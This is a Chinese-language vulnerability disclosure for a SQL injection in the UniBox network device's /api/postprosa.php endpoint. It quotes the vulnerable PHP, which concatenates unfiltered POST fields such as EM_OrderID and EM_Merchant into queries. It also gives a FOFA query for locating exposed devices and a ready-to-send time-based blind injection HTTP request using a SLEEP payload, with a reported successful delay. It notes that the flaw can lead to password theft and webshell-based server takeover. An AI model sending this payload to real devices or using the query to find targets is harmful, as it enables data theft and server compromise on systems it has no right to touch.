漏洞简介

unibox是一款网络管理设备，提供多种网络管理功能和服务。unibox的 /api/postprosa.php 接口处存在SQL注入漏洞，攻击者除了可以利用SQL注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

fofa语法

body="UniBox" || body="UniBox" && body="id=\"index-body\""

漏洞分析

看下 api/postprosa.php 的关键业务实现部分

<?php

$prosa_response         = $_POST["EM_Response"];
$prosa_total                 = $_POST["EM_Total"];
$prosa_returnOrderID         = $_POST["EM_OrderID"];
$prosa_merchant         = $_POST["EM_Merchant"];
$prosa_store                 = $_POST["EM_Store"];
$prosa_term                 = $_POST["EM_Term"];
$prosa_refNum                 = $_POST["EM_RefNum"];
$prosa_auth                 = $_POST["EM_Auth"];
$prosa_returnDigest         = $_POST["EM_Digest"];

......

if( !empty( $prosa_returnDigest ) )
{
    if($prosa_response != "" )
    {
       switch($prosa_response) {
          case "approved" :
             $prosa_respcode = 1;
             $paymentstatus = 1;
             $proceed = 1;

             $query = "SELECT id,Prosa_OrderId FROM bill_prosa_transaction WHERE Prosa_OrderId = '$prosa_returnOrderID';";
             if($DEBUG_ON)   { debug_line($fp, "\nQuery for duplicate transaction:- ".$query."\n"); }
             $result = @mysql_db_query($mysql_database,$query,$dblink); 
             if($result &&  (@mysql_num_rows($result) > 0))
             {
                $row = @mysql_fetch_array($result);
                $prosa_returnOrderID = $row[ProsaOrderId];
                $duplicateTransaction = 1;
             }
                     $msg = "Transaction Successful";
             break;
          case "denied" :
             $prosa_respcode = 2;
                                $paymentstatus = 0;
                                $msg = "Error: Transaction Denied.";
                                break;

          case "Duplicated transaction" :
             $prosa_respcode = 2;
                                $paymentstatus = 0;
                                $msg = "Error: Duplicate Transaction.";
                                break;

          case "Incorrect information is provided." : //Incorrect information is provided
             $prosa_respcode = 2;
             $paymentstatus = 0;
             $msg = "Error: Incorrect Information is provided.";
             break;

       }  

// 示例1：SELECT 查询
$query = "SELECT id,Prosa_OrderId FROM bill_prosa_transaction WHERE Prosa_OrderId = '$prosa_returnOrderID';";
$result = @mysql_db_query($mysql_database,$query,$dblink);

// 示例2：INSERT 查询
$query = "INSERT INTO bill_prosa_transaction ... VALUES ... '$prosa_merchant', '$prosa_store', ...);";
$result = @mysql_db_query($mysql_database,$query,$dblink);

// 未过滤的用户输入
$prosa_returnOrderID = $_POST["EM_OrderID"];
$prosa_merchant      = $_POST["EM_Merchant"];
$prosa_store         = $_POST["EM_Store"];
// 直接拼接至 SQL 查询（注入点）
$query = "SELECT id,Prosa_OrderId FROM bill_prosa_transaction WHERE Prosa_OrderId = '$prosa_returnOrderID';";
$result = @mysql_db_query($mysql_database,$query,$dblink);
// 其他注入点（INSERT 操作）
$query = "INSERT INTO bill_prosa_transaction ... VALUES ... '$prosa_merchant', '$prosa_store', ...);";
$result = @mysql_db_query($mysql_database,$query,$dblink);

用户输入的多个参数（如 EM_OrderID、EM_Merchant 等）未经任何过滤直接拼接到SQL查询中，导致攻击者可执行任意SQL命令。

漏洞复现

POST /api/postprosa.php HTTP/1.1
Host: unibox.mrxn.net
Content-Type: application/x-www-form-urlencoded

EM_Digest=11&EM_Response=approved&EM_OrderID=1' AND (SELECT 1337 FROM (SELECT(SLEEP(2)))xasd)-- -

成功延时 6 秒（执行三次）